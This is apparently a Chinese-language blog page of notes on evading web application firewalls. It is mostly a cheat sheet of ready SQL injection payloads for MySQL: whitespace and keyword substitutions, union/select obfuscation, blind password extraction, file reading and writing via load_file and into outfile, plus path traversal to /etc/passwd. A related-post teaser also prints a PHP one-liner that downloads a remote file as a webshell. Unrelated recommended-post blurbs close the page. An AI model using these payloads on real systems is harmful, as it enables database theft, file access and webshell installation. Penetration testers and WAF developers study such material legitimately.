mysql默认的字符集是latin,因此在php代码里面设置的字符集为 utf-8,这只是客户端的字符集,因此存在字符集装换的问题utf-8—>latin,若传进来的字符集不是完整的字符,则会导致不完整的字符自动会忽略的问题,比如username=admin%c2 , 由于%c2不是一个完整的utf-8字符 因此传到Mysql 里面 自动忽略了,导致查出的是admin用户的数据,可以利用这个特性绕过。
为了便利性 牺牲安全性。(select * from admin where user=“Admin” 可以执行, mysql为了 使用的便利性 会允许一些 ‘错误’,比如 select * from admin where user=“Àdmin” 依然可移执行
绕过SQL注入规则主要利用WAF规则本身的问题、未考虑到SQL语法变形、及后端数据库SQL语句语法特性。不同的数据库虽然遵守SQL标准,但是通常会加入特有的语法。WAF的防御策略要兼顾各种数据库的特殊语法,容易遗漏,从而被利用绕过WAF
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16 ,17,18,19,1A,1B,1C,1D,1E,1F,20
不用空白符的话,可以用括号,操作符,前缀,引号连接符号
'or+(1)sounds/**/like“1“--%a0-
3 函数分隔符
在调用函数名和括号之间插特殊字符 concat/**/(
4 浮点数,科学计数法词法分析
select * from users where id=8E0union select 1,2,3,4,5
select * from users where id=8.0union select 1,2,3
select * from users where id=\Nunion select 1,2,3,4,5
5 用于报错注入的函数
multipolygon()
multilinestring()
6 mysql特殊语法
select{x table_name}from{x information_schema.tables};
7 关键字过滤,使用等效关键字替换
关键字是没法混淆的,最多大小写 SeLecT
sel/**/ect 在mysql4.1版本后失效,一般考虑使用其他等效关键字,不过有些WAF会直接把/**/替换为空
< > 等价于 BETWEEN
= 等价于 like
Hex() bin() 等价于ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
(mysql支持&& || ,oracle不支持 && ||)
or and被过滤 || &&
union select被过滤
/union\s+select/i
绕过:
'and(true)like(false)union(select(pass)from(users))#
'union [all|distinct] select pass from users#
'union%a0select pass from users#
'union/*!select*/pass from users#
/vuln.php?id=1 union/*&sort=*/select pass from users-- -
union单个关键字被过滤的话,用盲注,注意子查询只能返回一个值
' and (select pass from users limit 1)='secret
limit被过滤
limit在注入中常用于限制子查询返回一个值
' and (select pass from users where id =1)='a
' and (select pass from users group by id having id = 1)='a
group被过滤 group同样用于子查询限制返回个数
' and length((select pass from users having substr(pass,1,1)='a'))
having 被过滤
' and (select substr(group_concat(pass),1,1) from users)='a
gourp_concat 限制了个数为1024
group_concat(substr(pass,1,4))
group_concat(substr(pass,5,4)) ...
' and substr((select max(replace(pass,'lastpw','')) from users),1,1)='a
select from被过滤 /SELECT\s+[A-Za-z\.]+\s+FROM/i
select [all|distinct] pass from users
select`table_name`from`information_schema` . `tables`
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users
select+pass%a0from(users)
单个select被过滤
1 如果有文件权限
' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)='a
'='' into outfile '/var/www/dump.txt
2 知道列名的情况 ,只能操作当前表
1 获取列名
1 开源软件
2 猜解 ' and data is not null#
3 ' procedure analyse()# 用在limit后
2 直接跟where条件
Admin' and substr(pass,1,1) = 'a
3 如果2中and被过滤了,
1 利用自动类型转换
'-0#
select data from users where name = ''-0 # int typecast
select data from users where name = 0 # int typecast
select data from users where 0 = 0 # true
'-1#
select data from users where 0 = -1 # false
2 利用条件语句 ifnull(nullif()), case when or if()
'-if(name='Admin',1,0)#
函数名过滤
函数名本身是无法绕过的,顶多在和括号之间加空格 load_file/*foo*/()
8 表达式前跟前缀 select --+2=- -!!!(2+4);
9 各种操作符
^, =, !=, %, /, *, &, &&, |, ||, <, >, >>, <<, >=, <=, <>,<=>,
XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
10 字符串的不同形式
' or “a“ = 'a
' or 'a' = n'a # unicode
' or 'a' = b'1100001 # binary
' or 'a' = _binary'1100001
' or 'a' = x'61 # hexadecimal
11 mysql表达式
常量 true, false, null, \N, current_timestamp, …
变量 @myvar:=1
系统变量 @@version @@datadir show variables;可以看到全部
函数 version(), pi(), pow(), char(), substring(), ...
12 mysql类型转换
1 隐式类型转换
' or 1 = true # true=1, false=0
' or 1 # true
' or version() = 5.1 # 5.1.36-community-log
' or round(pi(),1)+true+true = version() # 3.1+1+1 = 5.1
select * from users where 'a'='b'='c'
select * from users where ('a'='b')='c'
select * from users where (false)='c'
select * from users where (0)='c'
select * from users where (0)=0
select * from users where true
select * from users
mysql> select 'a'='b'='c';
+-------------+
| 'a'='b'='c' |
+-------------+
| 1 |
+-------------+
2 文件操作相关的漏洞一般和路径有关,文件包含,文件下载等漏洞
1 相对路径 ,如果只检查连续的../ 误报会很多,通常会检测连续的../ 可以组合使用 ./ // ../
2 绝对路径
1 可以组合/./和 //
2 可能只拦截了常见文件/etc/passwd等
3 如果WAF检测开始路径是linux标准目录名,可以用一个不存在的路径开头 /dasdfe/../etc/passwd php如果没有先检查文件是否存在,可以直接包含
3 命令执行
- webshell 常见 Bypass waf 技巧总结
在渗透学习的过程中,总会遇到各种情况,例如 php 大马被 waf 拦截的时候,那么如何制作免杀 php webshell 呢,接下来就由我带各位小伙伴们一起踏上大马免杀之路,不喜勿喷. 一篇好的文章 ...
- WAF攻防研究之四个层次Bypass WAF
从架构.资源.协议和规则4个层次研究绕过WAF的技术,助于全方位提升WAF防御能力. 绕过WAF的相关技术研究是WAF攻防研究非常重要的一部分,也是最有趣的部分,所以我在写WAF攻防时先写攻击部分.还 ...
- Bypass WAF Cookbook
PS.之前一直想把零零碎碎的知识整理下来,作为知识沉淀下来,正好借着wooyun峰会的机会将之前的流程又梳理了一遍,于是就有了下文.也希望整理的内容能给甲方工作者或则白帽子带来一些收获. 0x00 概 ...
- 【sql绕过】Bypass waf notepad of def
文章是通过阅读<[独家连载]我的WafBypass之道 (SQL注入篇)>写的阅读笔记. Waf的类型 1.云waf云waf通常是CDN包含的waf,DNS在解析的时候要解析到cdn上面制 ...
- Bypass WAF
一.绕过命令执行: 很多WAF会限制参数字符不能为可以执行的命令,诸如ls.nc等,如果直接使用这些字符会直接被WAF拦截,但是可以通过这种的方式绕过这一限制 1.? 符号:这个符号表示条件测试,比如 ...
- 77777 77777(2) WriteUp 绕waf技巧学习
两个题的代码都是一样的 只是waf不一样 贴出代码 <?php function update_point($p,$point){ global $link; $q = sprintf(&quo ...
- SQL Injection bypass WAF
tips: 利用的注射点: 支持Union 可报错 支持多行执行.可执行系统命令.可HTTP Request等额外有利条件 若非以上类型,则可能需要暴力猜解.猜解时,可能会遇到一些限制.攻击者要做的, ...
- 远程下载马bypass waf
<?php file_put_contents('dama.php',file_get_contents('http://xxx/xx.txt'));?> php这个函数不算冷门 第一个参 ...
- sql bypass waf fuzz python
从freebuf copy过来的,先保存,有空再改 #encoding=utf-8 import requests url = "http://127.0.0.1/index.php?id= ...
随机推荐
- TCP/UDP的小事情
UDP: 没有复杂的控制机制,面向无连接的通信服务. 常用于: 包总量少的通信 音视频传输(即时通信) TCP: 对传输.发送.通信.进行控制的协议.面向有连接的协议,只有在确认通信对端存在时才会发送 ...
- JavaSE----02.Java语言基础
02.Java语言基础 1.关键字 Java关键字是电脑语言里事先定义的,有特别意义的标识符,有时又叫保留字,还有特别意义的变量.Java的关键字对Java的编译器有特殊的意义,他们用来表示一 ...
- Android OkHttp + Retrofit 取消请求的方法
本文链接 前言 在某一个界面,用户发起了一个网络请求,因为某种原因用户在网络请求完成前离开了当前界面,比较好的做法是取消这个网络请求.对于OkHttp来说,具体是调用Call的cancel方法. 如何 ...
- 从单片机到操作系统⑦——深入了解FreeRTOS的延时机制
>没研究过操作系统的源码都不算学过操作系统 # FreeRTOS 时间管理 时间管理包括两个方面:系统节拍以及任务延时管理. ## 系统节拍: 在前面的文章也讲得很多,想要系统正常运行,那么时钟 ...
- 小白学 Python(3):基础数据类型(下)
人生苦短,我选Python 引言 前文传送门 小白学 Python(1):开篇 小白学 Python(2):基础数据类型(上) 前面我们介绍过了数字,本篇我们接着聊另一个常用的基础数据类型:字符串. ...
- 毕业生想学习web前端,应该怎么学才能最快找到工作?
首先无论你要学习任何技能,必须有一个清晰的版图,什么是清晰的版图呢?首先了解你学的技术将来要从事什么工作,这个工作的条件是哪些? 然后你要有一个非常清晰的学习大纲,切记学习任何东西都要系统,不可胡乱的 ...
- sublime text插件emmet自定义模板
首先要找到 snippets.json这个文件,路径是preferences>browse packages,看看有没有emmet目录. 如果没有,可能是您没有安装emmet插件,或者您安装了但 ...
- PMP(第六版)中的控制账户、规划包、工作包
PMP(第六版)中的控制账户.规划包.工作包 控制账户是一个管理控制点,在该控制点上,把范围.预算和进度加以整合,并与挣值比较,以测量绩效.控制账户拥有2个或以上的工作包,但每个工作包只与一个控制账户 ...
- Cocos2d-x 学习笔记(21.1) ScrollView “甩出”效果与 deaccelerateScrolling 方法
1. 简介 “甩出”效果是当我们快速拖动container并松开后,container继续朝原方向运动,但是渐渐减速直到停止的效果. ScrollView的onTouchEnded方法会设置Timer ...
- .NET Core ORM 类库Petapoco中对分页Page添加Order By对查询的影响
最近一直在使用Petapoco+Entity Framework Core结合开发一套系统. 使用EFCore进行Code First编码,使用PMC命令生成数据库表的信息. 使用Petapoco进行 ...